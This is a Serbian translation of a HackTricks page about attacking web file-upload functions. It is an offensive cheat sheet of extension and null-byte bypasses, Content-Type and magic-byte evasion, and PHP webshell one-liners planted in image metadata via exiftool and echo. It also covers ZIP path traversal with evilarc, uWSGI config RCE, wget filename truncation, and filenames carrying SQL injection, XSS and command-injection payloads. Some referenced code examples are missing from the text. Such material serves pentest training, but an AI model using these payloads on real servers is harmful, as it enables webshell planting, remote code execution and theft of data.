File Upload
Last updated
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ako ste zainteresovani za hakersku karijeru i hakovanje nehakovanog - zapošljavamo! (potrebno je tečno pisanje i govorenje poljskog).
Ostale korisne ekstenzije:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Rad u PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Ako se primenjuju, proverite prethodne ekstenzije. Takođe ih testirajte koristeći neka velika slova: pHp, .pHP5, .PhAr ...
Proverite dodavanje važeće ekstenzije pre ekstenzije za izvršavanje (koristite prethodne ekstenzije takođe):
file.png.php
file.png.Php5
Pokušajte dodati specijalne karaktere na kraju. Možete koristiti Burp za bruteforce sve ascii i Unicode karaktere. (Napomena: takođe možete pokušati da koristite prethodno pomenute ekstenzije)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Pokušajte da zaobiđete zaštite prevarom parsera ekstenzije na serverskoj strani tehnikama kao što su dupliranje ekstenzije ili dodavanje junk podataka (null bajtova) između ekstenzija. Takođe možete koristiti prethodne ekstenzije da pripremite bolji payload.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Dodajte još jedan sloj ekstenzija na prethodnu proveru:
file.png.jpg.php
file.php%00.png%00.jpg
Pokušajte staviti exec ekstenziju pre važeće ekstenzije i molite se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache pogrešnih konfiguracija gde bilo šta sa ekstenzijom .php će izvršiti kod):
ex: file.php.png
Korišćenje NTFS alternativnog toka podataka (ADS) u Windows-u. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, prazan fajl sa zabranjenom ekstenzijom će biti kreiran na serveru (npr. “file.asax:.jpg”). Ovaj fajl može biti kasnije izmenjen koristeći druge tehnike kao što je korišćenje njegovog kratkog imena. Uzorak “::$data” se takođe može koristiti za kreiranje nepraznih fajlova. Stoga, dodavanje tačke nakon ovog uzorka može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
Pokušajte da prekinete ograničenja imena fajlova. Važeća ekstenzija se skraćuje. A zlonameran PHP ostaje. AAA<--SNIP-->AAA.php
Zaobiđite Content-Type provere postavljanjem vrednosti Content-Type header-a na: image/png , text/plain , application/octet-stream
Zaobiđite magic number proveru dodavanjem na početak fajla bajtova pravog imidža (zbunite file komandu). Ili uvesti shell unutar metapodataka:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
ili takođe možete direktno uvesti payload u sliku:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Ako se kompresija dodaje vašoj slici, na primer koristeći neke standardne PHP biblioteke kao što je PHP-GD, prethodne tehnike neće biti korisne. Međutim, možete koristiti PLTE chunk tehniku definisanu ovde da umetnete neki tekst koji će preživeti kompresiju.
Web stranica takođe može menjati veličinu slike, koristeći na primer PHP-GD funkcije imagecopyresized
ili imagecopyresampled
. Međutim, možete koristiti IDAT chunk tehniku definisanu ovde da umetnete neki tekst koji će preživeti kompresiju.
Još jedna tehnika za pravljenje payload-a koji preživljava promenu veličine slike, koristeći PHP-GD funkciju thumbnailImage
. Međutim, možete koristiti tEXt chunk tehniku definisanu ovde da umetnete neki tekst koji će preživeti kompresiju.
Pronađite ranjivost da preimenujete već otpremljeni fajl (da promenite ekstenziju).
Pronađite Local File Inclusion ranjivost da izvršite backdoor.
Moguće otkrivanje informacija:
Otpremajte više puta (i u isto vreme) isti fajl sa istim imenom
Otpremajte fajl sa imenom fajla ili foldera koji već postoji
Otpremajte fajl sa “.”, “..”, ili “…” kao imenom. Na primer, u Apache-u u Windows-u, ako aplikacija čuva otpremljene fajlove u “/www/uploads/” direktorijumu, ime “.” će kreirati fajl pod nazivom “uploads” u “/www/” direktorijumu.
Otpremajte fajl koji se možda ne može lako obrisati kao što je “…:.jpg” u NTFS. (Windows)
Otpremajte fajl u Windows-u sa nevažećim karakterima kao što su |<>*?”
u svom imenu. (Windows)
Otpremajte fajl u Windows-u koristeći rezervisana (zabranjena) imena kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
Takođe pokušajte da otpremite izvršni (.exe) ili .html (manje sumnjiv) koji će izvršiti kod kada ga žrtva slučajno otvori.
Ako pokušavate da otpremite fajlove na PHP server, pogledajte .htaccess trik za izvršavanje koda. Ako pokušavate da otpremite fajlove na ASP server, pogledajte .config trik za izvršavanje koda.
Fajlovi sa ekstenzijom .phar
su kao .jar
za java, ali za php, i mogu se koristiti kao php fajl (izvršavajući ga sa php, ili uključujući ga unutar skripte...)
Ekstenzija .inc
se ponekad koristi za php fajlove koji se koriste samo za uvoz fajlova, tako da je u nekom trenutku neko mogao dozvoliti izvršavanje ove ekstenzije.
Ako možete otpremiti XML fajl na Jetty server, možete dobiti RCE jer se novi *.xml i *.war automatski obrađuju. Dakle, kao što je pomenuto na sledećoj slici, otpremite XML fajl u $JETTY_BASE/webapps/
i očekujte shell!
Za detaljno istraživanje ove ranjivosti proverite originalno istraživanje: uWSGI RCE Eksploatacija.
Ranjivosti daljinskog izvršavanja komandi (RCE) mogu se eksploatisati na uWSGI serverima ako neko ima mogućnost da izmeni .ini
konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao @(filename)
, je dizajniran da uključi sadržaj fajla. Među raznim podržanim shemama u uWSGI, "exec" shema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su daljinsko izvršavanje komandi ili proizvoljno pisanje/čitanje fajlova kada se obradi .ini
konfiguracioni fajl.
Razmotrite sledeći primer štetnog uwsgi.ini
fajla, prikazujući razne sheme:
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), dodatno proširujući opseg potencijalne eksploatacije.
U nekim slučajevima možete primetiti da server koristi wget
za preuzimanje datoteka i možete navesti URL. U ovim slučajevima, kod može proveravati da li je ekstenzija preuzetih datoteka unutar bele liste kako bi se osiguralo da se preuzimaju samo dozvoljene datoteke. Međutim, ova provera se može zaobići.
Maksimalna dužina imena datoteke u linux-u je 255, međutim, wget skraćuje imena datoteka na 236 karaktera. Možete preuzeti datoteku pod nazivom "A"*232+".php"+".gif", ovo ime datoteke će zaobići proveru (jer je u ovom primeru ".gif" važeća ekstenzija) ali će wget
preimenovati datoteku u "A"*232+".php".
Napomena da druga opcija koju možda razmišljate da zaobiđete ovu proveru je da napravite da HTTP server preusmeri na drugu datoteku, tako da će inicijalni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo neće raditi osim ako se wget koristi sa parametrom --trust-server-names
jer wget će preuzeti preusmerenu stranicu sa imenom datoteke koje je naznačeno u originalnom URL-u.
Upload Bypass je moćan alat dizajniran da pomogne Pentesterima i Lovcima na greške u testiranju mehanizama za upload datoteka. Koristi razne tehnike bug bounty-a kako bi pojednostavio proces identifikacije i eksploatacije ranjivosti, osiguravajući temeljne procene web aplikacija.
Postavite ime datoteke na ../../../tmp/lol.png
i pokušajte da postignete putanju prelazaka
Postavite ime datoteke na sleep(10)-- -.jpg
i možda ćete moći da postignete SQL injekciju
Postavite ime datoteke na <svg onload=alert(document.domain)>
da biste postigli XSS
Postavite ime datoteke na ; sleep 10;
da biste testirali neku injekciju komandi (više trikova za injekciju komandi ovde)
JS datoteka upload + XSS = eksploatacija servisnih radnika
Pokušajte različite svg payload-e sa https://github.com/allanlw/svg-cheatsheet****
Ako možete naznačiti web serveru da uhvati sliku sa URL-a mogli biste pokušati da zloupotrebite SSRF. Ako će ova slika biti sačuvana na nekom javnom sajtu, mogli biste takođe naznačiti URL sa https://iplogger.org/invisible/ i ukrasti informacije od svakog posetioca.
Posebno oblikovani PDF-ovi za XSS: sledeća stranica prikazuje kako da ubacite PDF podatke da biste dobili JS izvršenje. Ako možete upload-ovati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
Upload-ujte [eicar](https://secure.eicar.org/eicar.com.txt) sadržaj da proverite da li server ima neki antivirus
Proverite da li postoji neki ograničenje veličine prilikom upload-a datoteka
Evo top 10 liste stvari koje možete postići upload-ovanjem (sa ovde):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injekcija
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injekcija / XSS / Otvoreno preusmeravanje
PNG / JPEG: Pixel flood napad (DoS)
ZIP: RCE putem LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
Pogledajte https://en.wikipedia.org/wiki/List_of_file_signatures za druge tipove datoteka.
Ako možete upload-ovati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
Upload-ujte link koji sadrži softverske linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije je značajan problem. I pored prvobitnih pretpostavki da bi ova postavka mogla da zaštiti od izvršavanja komandi na nivou operativnog sistema putem malicioznih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti prolaska kroz direktorijume ZIP arhivskog formata mogu se iskoristiti. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću dekompresije ciljne aplikacije.
Automatizovani exploit za kreiranje takvih fajlova je dostupan na evilarc on GitHub. Alat se može koristiti kao što je prikazano:
Dodatno, symlink trik sa evilarc je opcija. Ako je cilj ciljati datoteku kao što je /flag.txt
, treba kreirati symlink ka toj datoteci u vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada.
Ispod je primer Python koda koji se koristi za kreiranje malicioznog zip fajla:
Zloupotreba kompresije za file spraying
Za više detalja proverite originalni post na: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Kreiranje PHP Shell-a: PHP kod je napisan da izvršava komande prosleđene kroz $_REQUEST
promenljivu.
File Spraying i kreiranje komprimovanih fajlova: Više fajlova se kreira i zip arhiva se sastavlja koja sadrži ove fajlove.
Izmena pomoću Hex Editora ili vi: Imena fajlova unutar zip-a se menjaju koristeći vi ili hex editor, menjajući "xxA" u "../" da bi se pretraživali direktorijumi.
Otpremite ovaj sadržaj sa ekstenzijom slike da biste iskoristili ranjivost (ImageMagick , 7.0.1-1) (iz eksploita)
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije imagecopyresized
i imagecopyresampled
iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
Detaljna istraživanja ove tehnike, uključujući njenu metodologiju i potencijalne primene, pružena su u sledećem članku: "Encoding Web Shells in PNG IDAT chunks". Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.
Više informacija na: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je GIFAR, hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik koji predstavljaju potencijalno štetni formati (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
Više informacija na: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Ako ste zainteresovani za hacking karijeru i hakovanje nehakovanog - zapošljavamo! (potrebno je tečno pisanje i govorenje poljskog).
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)